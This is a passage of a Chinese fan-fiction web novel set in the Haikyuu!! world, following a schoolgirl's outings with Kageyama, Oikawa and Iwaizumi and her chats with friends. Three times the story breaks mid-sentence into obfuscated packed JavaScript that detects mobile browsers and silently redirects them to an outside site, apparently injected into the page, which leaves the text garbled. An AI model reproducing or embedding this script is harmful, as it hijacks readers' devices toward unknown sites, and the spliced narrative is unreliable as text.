甜腻的声音叫出自己的昵称,我鸡皮疙瘩都出来了。 搓了搓手臂,余光看见影山直勾勾盯过来的视线,我往旁边挪了挪,“干嘛这样看着我?” 及川彻在旁边拱火:“是生气了吧?明明觉得已经是好朋友了,但是没想到连名字都是今天知道的?” “哈?!”我瞪圆了眼睛:“这有什么好生气的啊?你不是也不知道我的名字吗!” 影山飞雄面无表情:“我知道。” “你怎么可能知道?我又没说过!”我不信这个邪:“那你倒是说,我叫什么?” 影山飞雄:“你叫桃沢绘里。” 我:“……” 我:“啊???” 他怎么知道的啊?? 及川彻捂嘴:“天呐,那这不是小飞雄一厢情愿了吗?” 影山飞雄盯我:“桃沢。” “你没和我说过啊!”我惊慌抱头:“别人都叫你影山,你自己也没和我说过,我怎么知道你叫什么?” “什么什么?认识这么久,小飞雄都没有自我介绍过吗?”及川彻依旧语气夸张。 我附和:“对啊对啊!” 影山飞雄:“……” 他沉默下来,我这时也隐隐感觉有点不对劲。 我眯起眼睛,看向一直在拱火的及川彻,“及川前辈,我怎么感觉你看到我和影山起矛盾笑得这么开心呢?你是故意的?” 及川彻一脸无辜:“没有哦,怎么会呢?我可是最喜欢小飞雄了,怎么会忍心看到他和他的好朋友吵架呢?” 喜欢? 你讨厌他还差不多吧!大骗子! “时间很晚了,我和影山要回去了。”我将影山拉起来,想了想,走之前还是从我手上的袋子翻了翻,翻出一盒牛奶布丁递给他:“及川学长也早些回家吧,路上注意安全哦,这个请你吃。” “哦呀。”及川彻没想到对方都看穿了自己的挑事,还会送东西给自己……虽然这些也许都是客套,但还是让他觉得十分意外。 手上的牛奶布丁还是冰冰凉凉的,及川彻按住它的顶部和底部轻轻一晃,里面成色极好的布丁也颇有弹性地晃了晃,一看就很好吃。 真有意思。 及川彻抬眼看向慢慢走远的那两个身影。 他们绝不是不熟的邻居这么简单,两个人走在一起半点尴尬都没有,距离离得很近,说话也很自然。那个女生也不简单,还没吵起来就发现了苗头,立刻就挑明了话里的意思,还下意识的在维护小飞雄。 以他对小飞雄的了解,他觉得小飞雄应该不会和这样的女生走太近才对。 看刚刚的反应……好像还是小飞雄主动去维系的。 除了排球之外,这家伙居然还有其他感兴趣的东西。 别是被骗了吧?毕竟小飞雄只在排球这项运动上聪明,其他事情都笨笨的,很好被拿捏。 那盒牛奶布丁在修长的手指间转了转,及川彻笑了一声,将其放进口袋里。 多关注一下好了。 如果能看到小飞雄倒霉的话,那就更不错啦。 …… 那位及川前辈对影山飞雄的态度实在是有些奇怪,说是喜欢嘛,他对笨蛋影山很明显是有一种敌意的,两个人感觉磁场不太合的样子。 说是讨厌嘛,他又会在路上看见了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739296|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来打招呼,感觉也不太像。 我有点好奇,犹豫之下,还是问道:“你和那位及川前辈很熟吗?” “挺熟悉的吧,在北川第一中学的时候,及川学长就是一位非常厉害的二传手,带着队伍多次打入县决赛,很厉害的。”影山飞雄说:“我也从及川学长那里学到了很多东西。” “你的很多排球技巧都是及川学长教你的?” “我有在旁边学习,看着就会学了。” 我就说嘛。 以及川彻对影山飞雄的态度来说,他怎么可能会好好的把自己的东西教给影山,如果是影山自己偷学的,那还比较合理。 而且他们打的还是同一个位置,都是二传手,他又不像菅原学长那样脾气那么好。 要想上场,他们两个可是竞争关系。 现在他们也是竞争关系呀,及川彻是青叶城西的二传手,之后两个学校在赛场上肯定会遇到的。 这家伙是个坏心眼子的,得稍微注意一些才行。 一路走一路聊,我们很快就回到了小区。 影山帮我将大袋小袋的东西放在门口,转了转有些酸的手腕,问:“不用我帮你放进去吗?这些东西加在一起挺重的。” “没事,我一点一点放进去也不费时间。” 我随意地挥挥手,见他应了一声就要离开,我连忙又叫住他:“诶,等一下。” 影山飞雄又返回来,疑惑地看向我。 “我买了足够多的饼干布丁,平常怕吃多了上火嗓子疼,这些薯片你带回去自己吃吧。”我将分好的那一袋咸口薯片挂在他手上:“记得帮我评出评分第一哦。” 影山飞雄很明显有些意外:“都给我吗?” “是的,还有这个。”我从装了美妆蛋的那个袋子里摸出一盒护手霜递给他:“你不是觉得我手保养的很好吗?平常我会用这个牌子的护手霜,送给你,谢谢你今天陪我去买东西。” “!” 这回少年瞪圆了暗蓝色的眼睛,虹膜中倒映着那盒包装整齐的护手霜。 ……是礼物。 她知道自己也有在保养手指,所以才送给自己的吗? 影山飞雄接过粉白色的盒子,愣愣地看着对方。 “好了,你快回去吧,明天要上课,放学后就要去合宿了,你还有的忙呢。”我朝他挥挥手,“拜拜,明天见。” 素白的手掌在眼前晃晃,少年下意识攥住了那只手。 女生的手确实很柔软,而且还很小,他轻而易举就能包裹住。 影山飞雄想起了她送给及川学长的那盒布丁。 好像稍稍一用力,她的手就会像布丁一样被揉碎在掌心。 他的手指顺着纹理往下滑落到指根,滑入掌心,向上插.入指缝。 那种令人头皮发麻的感觉伴随着他的动作越发清晰,到最后我感觉我整只手臂都开始麻了。 好奇怪,真的好奇怪,实在是太奇怪了。 不行。 “停。”我在他握紧之前迅速将手抽回来,制止道:“就到这里,不能牵了。” 指骨分明的手指立刻停住,影山飞雄低头看了看自己的掌心,又抬头看了看我。 真神奇,明明都是手,他也有,但触碰起来就是不太一样。 ……还想再碰。 少年从来都不掩饰自己的渴求,他对排球是这样,对其他事也是这样。 我头发都差点炸起来,弯腰将地上的几个塑料袋全都拎在手上,迅速到门口,只留一条小缝,让我能从门缝里看到他。 “这次就算了,下次,没有我的允许,你还是不能碰我。” 我又把门缝合上一些,防备地看着他:“知道了吗?” “……”影山飞雄挠挠头:“好吧,知道了,那我走了?” “快走快走。” “明天见?” “才不和你见。” 说完这句话,门“嘭”的一声关上。 影山飞雄吃了个无情的闭门羹,可他好像心情没有很糟糕。 虽然说话说的那么不留情面,但是他能听懂她不是那个意思,她也没有真的生气,只是有点…… 有点。 影山飞雄找不准形容词,不过他知道她没有在生气,也不是真的不想见到他。 啊。 有些期待快点到明天了。 27.二十七条鱼 今天倒是个好日子。 不知道是不是因为接下来可以放个小长假,天上的云朵都比平常要白一些,天空也蓝的更加清澈透亮,天气好得不得了。 现在的温度还不热,太阳照在身上暖呼呼的。 我的座位刚好能晒到太阳,两只胳膊往桌上一搁,简直让人昏昏欲睡。 下节课是什么课来着…… 啊,是英语。 我上英语老师的课总是很纠结,他有些单词拗不过口音,说长难句的时候难免有些奇怪,但他讲语法的时候很清楚,所以每次上英语课我都是痛苦并快乐的在吸收知识。 “喂。” 听到月岛萤在喊我,我换了一面趴着,背对着他,没理。 月岛萤眉梢一挑,又喊我:“喂。” 我还是背对着他,依旧没理。 奶黄色短发的少年换到我面前站着,低头继续喊:“喂。” 我伸出一根手指,制止了他没有礼貌的称呼:“第一,我不叫喂。” 月岛萤往后一步,抵着课桌的边缘半坐着,双手环胸:“我有事问你。” “第二,我不回答没有礼貌的小孩的问题。” 月岛萤气笑了,他说:“今天早上路过乌养教练的便利店,你们在打什么哑谜呢?” 我稍微坐起来一些:“你不是都听到了吗?猜不出来?” 乌养教练家里的便利店就开在离学校边上,我们上下学一般都会路过那里。 只不过今天我们上学时刚好遇到他开门,也就难得打了一个照面。 他和我说已经找好了一个不错的合宿地点,离学校很近,环境很好,那边会负责三餐,还问我这几天要不要一起去合宿。 我当然是说不用的,毕竟我去了也帮不上什么忙。 月岛萤其实一听就猜出来了,但是他不敢确定,只等到了下课再问我:“你是不是给排球部资助了?” 山口忠就坐我前座,半侧的身子一下就摆正了,震惊地看向我:“资助?” “嗯……原本是想直接投钱的,但是武田老师不要我的钱。”我挠挠头,继续说:“所以我就让美代姐打电话过去联系老师,以她的名义打了一笔钱入账。这件事情我谁都没告诉,但乌养教练应该是自己想到了,今天才找我说那些话的。” 山口忠:“=口=” 山口忠:“所以其实还是你给的钱?真的没事吗?你平常开销也很大,还是一个人住,你确定你自己够用吗?” “没事啊,我给的又不是我自己的。”我无所谓地一摊手:“朝仓赔给我的钱到账了,给你们用的都是他赔给我的。” 山口忠:“O口O?!那不是更该你自己用了吗!” “哎呀,取之于民用之于民嘛。” “这句话是这么用的吗!” 我对了对手指,继续说:“这些细节就不要在意啦,主要我不想让你们用起来那么有负担嘛,你看,如果是坏蛋的钱,用起来是不是一点心理压力都没有了?” 山口忠扶额苦笑。 这还真是…… 不过,小桃都给予了这样的支持,他一定好好好加油。 现在的跳飘球成功率还很低,必须要再多花些时间练习…… “小忠。”我打断了他的胡思乱想,伸手勾住他的手指,将他的手拉下来,朝他笑道:“欲速则不达,心态好才能状态好,别急。” “!”山口忠心里一动。 小桃知道。 小桃都知道。 即使这段时间她也忙碌着一些事情,她也会默默地关注着朋友们的状态。 “小桃……” “小忠。” “小桃……” “小忠!” 月岛萤皱着眉头,捂住自己的嘴巴,脸上是肉眼可见的嫌弃:“你们可以等我走了再开始吗?看了想吐。” 我们两个人并没有管他吐不吐,依旧还在深情地对喊着。 “小桃!” “小忠!” 月岛萤太阳穴隐隐作痛,绝望地闭上眼睛。 不愿再看。 …… 排球部从今天开始合宿,我也要从今天开始回归孤狼生活。 月岛萤和山口忠这几天都见不到我,又怕我一个人到处乱跑,千叮咛万嘱咐:别去太远的地方,别去不认识路的地方,碰到奇怪地陌生人搭讪一定要第一时间往人多的地方走远一点,不要随随便便吃陌生人给的东西。 听得田中前辈在旁边笑的超级大声,说他们两个好像即将要出远门,又完全放心不下独自在家的幼稚园女儿的操心家长。 月岛萤被调侃到耳尖发红,动了动嘴唇,最后还是把嘴闭上,不说话了。 我颇为同情地拍拍他的手臂,说:“我会照顾好自己的,放心吧,老父亲。” 月岛萤黑着脸:“桃沢绘里!” 好凶好凶,凶巴巴的阿月又要开始生气了。 我连忙和学长们打了个招呼,顶着书包跑走。 不想听阿月喷毒液,拒绝拒绝。 难得今天是一个人放学,现在时间又早,我当然不想那么快就回家。 正好黄金周期间我想回一趟东京,这会儿可以在附近逛逛,看看有没有什么能带回去的伴手礼。 可问题就是在于……这四年乌野町的变化不大,我记得以前有一家店里的竹叶鱼糕特别好吃,店长是一位老婆婆,用的原材料是她家小辈捕捉回来的鱼,所以味道十分鲜美,口感也特别不错。 那个要当天做出来的才好吃呀……回东京那天再去买好了。 我在手机上查了查宫城县当地美食,打开导航从最近的那家店铺开始找起。 顺着提示音一路往前走着,不知道走了多久,金灿灿的阳光都染上了橙红,我才到那家很火的甜品店。 看到排在店门口的那队长龙,我抬头无语望天。 好了,现在我相信这家店很好吃了。 队伍这么长,得排到什么时候才能到我? 嗯,看来我与这家店铺无缘,下次再来叭,今天不愿意排队。 我低头调出下一家店的地址,转身换了个方向前进。 不过这次走着走着,一双白色的运动鞋出现在我的视线中,刚刚正好就停在我的必经之路上。 我放下手机,盯着那双鞋看了一会儿,脑内飞速运转,大概有猜到堵我的人是谁,这才抬起头来,直面那张明艳的帅脸。 见我并没有被吓到,及川彻有些失望,问我:“突然看见这么帅的及川学长,你难道就没有吓一跳吗?” “一开始是有被吓到,但也有想到可能是你。”我双手拉住书包提手,防备地将书包挡住前胸:“有什么事吗?及川学长,我朋友就在这附近,马上就回来找我了。” “哎呀,不要这么紧张嘛,我早就看到你了,你不是一个人来的吗?”少年眯起眼睛笑了笑,微微俯身,又问:“是看到网上有说这里的和果子很好吃所以才来看看的吧?是哦,是很好吃哦,但是很难买到,要不要拜托厉害的及川学长帮忙呢?” 我愈发防备起来:“那个帖子不会就是及川学长发的吧?” 刚好看到热度最高的帖子,来到这里又刚好碰到他……糟糕,怎么想都是及川彻发来钓鱼的吧?他有什么企图?杀猪盘?仙人跳? 我可不是那么好骗的,我手机里有反诈骗APP。 “嗯……是不是呢?”及川彻抵住下巴,抬起头来,一副高深莫测的样子,并斜眼偷偷看我。 完全就是一副狡诈的坏人模样。 哈,狐狸尾巴露出来了,我才不上当! 我转身就跑。 及川彻手疾眼快地拉住对方校服外套的衣角:“诶!你跑什么呀?吓到你了?不是啦不是啦,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744580|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个帖子不是我发的,我也是和朋友过来逛街的!” 我才不信,抬手就要拍他的手背。 就在这时,有一只胳膊在我揍他之前,率先卡住了他的脖子。 “笨蛋川!我就说怎么一回头没看见你的人,原来你在这里!” 黑发少年的手臂横在及川彻的颈脖间,力气大到小臂上都暴起青筋。 说完这句话,他又看向我:“抱歉同学,这家伙太鲁莽了,你没有被吓到吧?” 我也分不清楚这位少年到底是好人还是坏人,反正我要先告及川彻一状:“他是故意吓我的!他没安好心思!” 一点都不带客套的指责让及川彻张大了嘴巴,疯狂喊冤:“我不是,我没有,我冤枉!我只是看到了小飞雄的朋友,想过来打个招呼而已!” “你就是故意的!” “我不是!” “你就是!” “我不是!” 我的老天鹅,及川前辈和影山飞雄师出同门啊,完全就是小学生吵架。 我终止了这种毫无意义的对话,问道:“那你刚刚为什么说些奇怪的话误导我?” “谁知道你真的会信那个,我是小飞雄的学长,再怎么样也不会做那么恶劣的事情吧!”及川彻非常激动地辩解:“你把我当什么人了!” “这谁知道,我又不认识你,我怎么知道你是怎样的人。” “你!” 这一来二去,岩泉一也大概知道到底是谁的问题。 他一把揪住及川彻:“垃圾川!” 及川彻立马双手合十:“好了好了,是我想逗她的,是我是我,抱歉啦。” 岩泉一这才一口气缓下来,对我说:“他比较喜欢开玩笑,真是不好意思。” 我赞同地点点头:“不是个好习惯,得改。” 及川彻气笑了:“你这家伙……” 被岩泉一拽了拽,他这才改口:“好吧,好吧。为了表示歉意,我可以带你去买你想要买的东西,怎么样?” “你知道我想买什么?”我狐疑地看着他。 “当然了,你会跟着帖子找到这里,不就是想试试宫崎县的特产嘛,不管是当做礼物也好还是自己吃也好,我可是权威的哦。”及川彻单手撑腰,朝我露出一个闪亮的帅气笑容:“怎么样?帅哥导游,不考虑一下吗?” 他好像知道自己很帅,笑得跟个小偶像似的。 我的视线在他的脸上停了许久。 真是怪事,怎么北川第一的二传位置专出帅哥。 不过,我可不信他,我相信的是—— 我拉住岩泉一的袖子:“学长,您能一起去吗?我怕及川学长又对我说些奇怪的话。” 岩泉一其实也不放心眼前这个没见过的小姑娘和及川彻单独走。 他太了解及川彻了,这家伙看上去对人家笑眯眯的,像只孔雀一样张开了自己漂亮的尾巴,但这本身就是不正常的,这孩子又不是他粉丝,他没必要在这里“营业”。 及川彻这个人没什么坏心思,不过也要看着他点,别让他玩笑开的太过火。 在岩泉一同意之后,我便抛下了和我磁场不是很合的及川前辈,跟在了岩泉一身边。 这位学长虽然长得严肃,看上去凶巴巴的,说话也正经的很,可他给我的感觉就是要比及川彻靠谱,跟着他准没错。 短短并行的几步距离,我们交换了名字,我也得知这位岩泉一学长也是影山飞雄在北川第一排球部的学长,他和及川彻关系很好,现在也在青叶城西上高中。 及川彻看着走在前面的一高一矮,露出一个阴险的笑。 “咔。” 一张两个人的背影图保存下来,直接发给了影山飞雄,配文:[我带小桃去玩咯~] 影山飞雄没有第一时间回复。 过了三分钟后。 [影山飞雄:?] 28.二十八条鱼 影山飞雄现在的心情很是复杂,看到那张照片,他自己也说不准到底是什么感觉。 他昨天还在期待着今天和桃沢的会面,却一整天都在出意外。 首先是中午午休的时候被国语老师叫去办公室。 回来的时候桃沢已经不在教室了,一看时间已经很晚,于是他自己一个人坐在教室里吃掉了自己做的便当。 然后是放学后恰好轮到他值日。 他以最快的速度打扫完了教室卫生,飞奔去了体育馆,看到了正在做热身的月岛萤和山口忠。 喘着粗气问他们两个桃沢今天有没有跟他们一起来排球部,却得到了她已经回家的消息。 最后是他收到了一张照片。 来自及川学长的照片。 照片上的女生有着漂亮的樱粉色长发,她微微侧着脸,正在和身边的黑发少年说着什么,脸上带着笑容,眼神也很柔和。 走在她身边的男生他也很熟悉,是岩泉学长。 拍照的人是及川学长。 ……为什么呢? 为什么本应该到家的桃沢会和及川学长在一起呢? 影山飞雄大脑疯狂运转,他都感觉自己的脑神经都快烧坏了。 此时,一位想要去洗澡的高冷酷哥带着他的毛巾一般路过。 原本月岛萤是完全不想知道影山飞雄为什么会站在昏暗的走廊上发呆,但影山飞雄根本就没有隐藏秘密的意思,手机就这么抓在手上,他轻而易举就看清楚了手机屏幕上的内容。 这一眼让他停住了脚步。 月岛萤的视线黏在了那张照片上。 “这个人,是桃沢。” 从语气来看,是肯定句。 影山飞雄侧头看他,说:“是啊。” “她身边的那个人是青叶城西排球部的队长。” 从语气来看,又是一句肯定句。 影山飞雄:“是啊。” “这是什么时候的照片?” 月岛萤都不问为什么这两个人会认识了,他要确认这不是刚拍的。 影山飞雄老实巴交:“刚刚。” “……” 月岛萤的天塌了。 早在几个小时前,刚放学那会儿,他还特意叮嘱了桃沢不要乱跑,特别是不要跟陌生人走,更不要吃陌生人给的东西。 不听讲啊,这死孩子完全不听讲啊! 月岛萤面无表情地站在原地沉默,然后拉着影山飞雄转身回了房间。 他急需一个明亮又安静的地方来供他查岗。 还有山口,山口还在房间里,他要把山口也给喊上。 于是—— 三个少年面色严肃,排成一排跪坐在一起,面前立着一个手机,上面正连接着视频电话。 欢快的铃声响了很久,在自动挂断的最后几秒钟被接通。 镜头的视角是从下往上,照到她高挺的鼻头,和两个大鼻孔。 月岛萤:“……” 月岛萤:“你在哪儿?” 视频电话里的少女在接通电话前应该是在和身边的人说话,月岛萤隐约是听见她在买东西,在接通电话后,她的镜头还是那么诡异,但有一个凑近镜头的动作,是在听他的声音。 果然,下一秒对方大声问:“阿月,你说什么?” 月岛萤额角青筋暴跳,他对山口忠说:“你来问,我怕我骂她。” 山口忠立刻接过说话权,重新问了一遍:“阿月问你现在在哪儿!” 这回我听清楚了,低头看了一眼屏幕上自己的大下巴,连忙将镜头摆正,回答说:“我在买东西呢,你看,我买了一些宫城县的特产。” 我将手上拎着的精美包装袋举起来给他们看:“有些是我小时候吃过的,也有一些小时候吃不到的,正好今天一次性买下来,带一部分回去给妈妈和梦野老师吃。” 影山飞雄挤到镜头前,严肃着一张帅脸,继续问:“你和及川学长在一起吗?” 我眨了眨眼睛,正想假装不是来蒙混过关,身边的及川彻就十分自来熟地凑过来,朝影山飞雄露出招牌帅气笑容:“哟,晚上好啊,小飞雄,我和小桃在一起哦。” “小桃……”影山飞雄感觉自己胸口中了一箭。 他都没有这么亲密地叫过她…… 月岛萤:“问她,为什么会跟着陌生人去自己完全不熟悉的地方。” 山口忠转述:“阿月问你为什么会跟着陌生人去完全不熟悉的地方。” 及川彻的声音依旧甜腻,离我的距离又近了一些,亲昵道:“真过分,什么叫做陌生人?我和小桃也是第二次见面了,作为朋友,我带她逛逛怎么了?” “作为朋友……”影山飞雄的胸口又中一箭。 他和她认识小半年了都没有一起去逛过街,还是昨天才刚被给予信任委托任务的…… 岩泉一头好痛,他一把扯住及川彻的领子,给了他屁股一脚:“人家打电话,你别去瞎参和。” 捣蛋鬼被暴力揪走,只剩下“你还是不是我最好的好朋友了小岩,怎么向着外人!啊啊啊放开我啦!”的画外音。 我也走远了一些,来到一个没有那么嘈杂的地方,好好和我的闺闺们解释。 我说:“昨天我拜托了影山和我一起去采购,路上碰见了这位及川学长。今天难得放学这么早嘛,我就想去看看这边有没有什么手信可以买回去,及川学长昨天见过我,看我需要帮助,就好心带我去了好几家店。” “你白天去不行吗?跑那么远,待会儿你要怎么回家?”月岛萤表情臭臭的,想到刚刚及川彻那软乎乎的欠揍笑脸,又说:“还遇到了那种难缠且不靠谱的家伙。” 我立刻捂着听筒,生怕被记仇的及川学长听见,扭头看见及川学长还在和岩泉学长掰头,我小声说:“嘘,你别当着他面说他坏话,待会儿他得闹。” 月岛萤:“=皿=谁管他!” 我说:“他闹不到你,不就只能来闹我?” 月岛萤:“……” 我又走远了一些,继续说:“我也知道及川学长不是很靠谱嘛,这不是有岩泉学长在?我觉得岩泉学长人还挺好的。” 影山飞雄完全同意:“岩泉前辈确实是一个很好的人。” “对吧,影山作为他们的学弟,比我更有发言权。”我找到了和我统一战线的人,立刻顺着杆子继续说:“有岩泉学长在你就放心吧,我也逛的差不多了,待会儿打车回去。” 山口忠有些担忧:“打车吗?” “嗯嗯,打车直接到小区门口,不放心的话可以一直挂着视频,到家我在关掉。” “谁要和你一直挂着视频,待会儿轮到我们洗澡了。” 说到这个我可来劲了,我说:“洗澡也可以挂呀,阿月,我俩以前还一起洗澡呢。” 月岛萤:“……” 月岛萤:“那是读幼稚园的事情了吧?你到底在说什么啊笨蛋!” 我十分熟练地调戏他:“别害羞啊阿月。” 少年奶黄色短发间的耳朵滚烫,他有些羞怒,但一想到对方说话这么大胆的原因,再联想到上次偷偷看她平板时看到的劲爆内容,心里顿时没了羞,只剩下了怒。 他说:“你还敢说!我问你,你和那个牛郎没有再联系了吧?” “都说了人家不是牛郎。” “嗯,是,男模特。” 我无奈地叹了口气,回答道:“没联系了,消息都没发过。” “切,那就好……你晚上回去注意安全吧,到家给我发消息。” “好好好,知道了老父亲。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769654|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“嘁。”月岛萤冷嗤一声,把视频挂断,手机也还给了山口忠。 这个电话必须拿山口的手机打,死孩子知道他打过去肯定是问罪的,只有看到来电人是山口,她才会放松地接下电话。 果然,她接电话的时候一点防备都没有,所有状态都展露地清清楚楚,看到她情绪还不错,他也能稍微放心一些。 山口忠拿回自己的手机,眨了眨眼睛,和影山飞雄对视一眼,两个人脸上皆是迷茫。 “阿月。” “你们刚刚,在说什么牛郎?” …… “你看看,我就说这小学妹和影山单独出来逛街,还和其他男生是能直接打视频电话的关系,就是有古怪。听见了吧?她还会和牛郎私下联系!” 及川彻偷听成功,和岩泉一说着小话:“多可怕啊,我们可怜的小飞雄多单纯,碰到坏女人可不是被耍地团团转。” 岩泉一斜眼看他:“你有警惕心是好事,但别随便这样评价一个女孩子。” 及川彻不满地鼓起腮帮子,但还是没有再说。 挂掉电话,我抬头一眼就看到那两个长相出众,身形高挑又不瘦弱的少年站在不远处说着话。 岩泉一脸上没什么表情变化,一只手插在裤子口袋里,身体微微放松,但站姿并不松垮,而及川彻双手环胸,背对着我站着,从我这个角度看,只能看到他脸部流畅的线条,和光线打在他脸上的漂亮光影。 帅是帅,可惜心脏得很。 阿月会在这个时候打电话过来,旁边还有影山在,怎么想都和及川彻脱不开关系。 他好像有点针对我。 为什么呢? 我想了想。 唯一的联系只有影山……是因为影山吗? 虽然讨厌他,但也不许我欺负他的那种类型? ……我好像也没欺负影山哇? 我一边思考着,一边朝两位学长走去。 时间差不多,我要回家了。 走到大路上等一会儿就能看到有出租车开过去,我随手招了一辆停下,回头看向岩泉一和及川彻。 岩泉一依旧可靠,他帮我扶住车门,叮嘱道:“路上注意安全,到了就给影山发条消息吧。” “拜拜~小桃,下次见哦。”及川彻笑眯眯地朝我挥手道别。 “谢谢,今天麻烦两位学长了。”我将其中两份包装精美的和果子分别交给岩泉一和及川彻:“这是谢礼。” 岩泉一动作一顿,下意识拒绝:“不用了,我们原本也是想放假了出来走走,只是刚好遇见你而已。” 我直接挂他手上:“岩泉学长该收下,你今天晚上是我们当中最忙碌的。” 又要带路,又要介绍,还要按住总是想耍坏心眼的及川彻,可不是最忙的。 及川彻:“……不是,你什么意思?” 出租车司机回头催促一声:“小妹妹,要走的话就快些上车哦。” “不好意思,这就来。” 我迅速钻进车里,摇下车窗,对两位学长挥手:“好了,岩泉学长,及川学长,下次见。” 等我说完这句话,车子飞速启动。 岩泉一手里还挂着对方买的甜点伴手礼,目送那辆车越开越远,越开越远,直到完全看不见为止。 又在原地站了一会儿,他放下手,侧头看向好友,问道:“现在你还觉得桃沢同学是不安好心的坏人吗?” “……”及川彻怀里也抱着那盒伴手礼。 加上昨天那次,他已经收到了来自桃沢绘里的两份礼物。 咖色短发的少年嘟起嘴,小声道:“这就被那家伙收买了,真是手段了得。” 岩泉一半眯起眼睛,胡乱应道:“嗯嗯嗯,是是是。” 是谁又在嘴硬,他才不挑明。 29.二十九条鱼 黄金周第二天,我美美地睡到了上午十点醒。 一睁眼就是湛蓝的天空,灿烂的阳光,我心情特别特别好。 好到就算看见编辑给我发的“重画建议”都能保持微笑。 我丢掉手机,心平气和地从床上爬起来,打开我的平板,象征性地画了几笔之后,开始熟练地切到后台刷推特摸鱼。 刷着刷着,界面上跳出了梦野老师的消息: [黄金周大家有什么安排吗?] 我点开聊天界面,又看他接着发了一条:[小桃会回东京吗?] 我立马回复:[有这个打算,我想明天或者后天回去一趟。] [梦野:猫猫惊喜.jpg] [梦野:真的吗!] [梦野:那你要不要来我家?] 看到这句话,我直接在床上坐直了。 [小雪:嗯?要团建一下吗?我后天可以哦。] [梦野:那太好了,都来,都来。] [小雪:……梦野老师,您有点太殷勤了,这让我很怀疑您是不是有什么阴谋。] [蜜桃:梦野老师能有什么阴谋!她只是想和我们一起喝下午茶罢了!] [小雪:你的梦野脑袋什么时候可以治治?] [蜜桃:我不管,反正我想见梦野老师!我要和梦野老师贴贴!] [梦野:说起来,我也有些事情想拜托小桃。] [蜜桃:请尽情吩咐小桃。] [梦野:有几个地方想请教一下小桃,透视和服装细节什么。] [蜜桃:好呀好呀!到时候见面聊,正好这次稿件我的负责人想让我画点纯爱感情线,我不太会,还要麻烦梦野老师给我提点建议。] [梦野:猫猫点头.jpg] [小雪:……真是不可思议,我的负责人让我画的再露骨一点,你的负责人却让你画点纯爱?] [小雪:你这次到底是画的有多变态?] [蜜桃:……] [蜜桃:真期待和你们见面呀。] [蜜桃:猫猫转圈.jpg] [小雪:……OK,懂了。] 很显然,在漫画这一块,虽然他是小桃的第二引路人,但小桃已经青出于蓝而胜于蓝了,她再也不需要他指导了。 真是惊人的天赋,小孩姐的新脑袋就是好用,每天都是奇思妙想。 …… 中午,饭后。 我坐在画室里,咬着笔头看着落地窗外的小院造景,思考着这次的稿件要怎么重画。 唉。 想不出来啊。 双目对视,肢体接触,气氛暧昧,逐渐上头。 在这种情况下,干点什么不是水到渠成的事儿吗?还要怎么纯爱呢? 我抓耳挠腮。 原本转型的原因之一就是不会画恋爱剧情,怎么换了个赛道,还要我画这个啊? 正巧这个时候阿月结束了上午的训练在午休,他给我打了个视频电话。 微妙,明明暑假那会儿他中午是不会给我打电话的,只有晚上需要放松的时候我们三个人才会挂着视频聊会儿。 屏幕那头的少年视线看过来,看见对方蔫蔫地趴在工作台上,一猜就知道她的创作肯定遇到了瓶颈,于是问道:“怎么了大画家?又没灵感了?” “是啊,阿编说我要加点感情戏,我画不出来。”我撑着脸颊,叼着电容笔:“阿月,恋爱要怎么谈啊?” 月岛萤:“告白,牵手,亲吻,还能怎么谈?” 我将笔拿下来,坐直了一些,继续问:“这俩嘴总不能黏在一起天天亲吧?” “那你问错人了。”月岛萤抬手扶额:“这是我的知识盲区。” “唉,阿月,你这么大人了,谈恋爱都不会。”我又趴下去,头枕在手臂上,小声嘀咕:“还是雪宫更靠谱。” 月岛萤:“?” 月岛萤:“你再说一遍,谁?” 我立马改口:“没,没有,你听错了,我什么都没说。” 真是卑微如我。 但是这样下去不行啊,这再过几天就要交稿了,至少黄金周结束之前是要交的,我现在还不知道怎么画,回东京倒是可以请教梦野老师,可是也不能全都把重担压在她身上呀。 不知道雪宫今天有没有空,能听他支几招就好了…… 我的视线默默看向屏幕,在月岛萤发觉异样前又迅速转移。 还是算了,要是被阿月发现我联系雪宫,他肯定得生气。 那还有谁呢…… 啊。 我突然想到了一个人,挪了挪镜头,小声问月岛萤:“阿月,你们下午训练,几点结束呀?” “大概六点多吧。” “晚上还会继续训练吗?” “山口他们倒是会自己再练一会儿。”月岛萤说到这里顿了顿,察觉到不对,问道:“你想干什么?” 我维持着真诚且无辜的表情,看着他:“我来关爱一下你们呗,可以吗?” 月岛萤:“这个我要问教练。” “你问你问,如果会打扰的话我就不去了。”我连忙点头,又露出一个笑脸:“谢谢阿月。” 月岛萤无语地半眯起眼睛:“你也就这个时候会乖乖谢我,等消息吧。” 那当然了,现在可是有求于人的时候,不得装乖一点? 我挂断电话,重新在屏幕上写写画画,偷偷摸鱼画自己漫画角色的Q版小头。 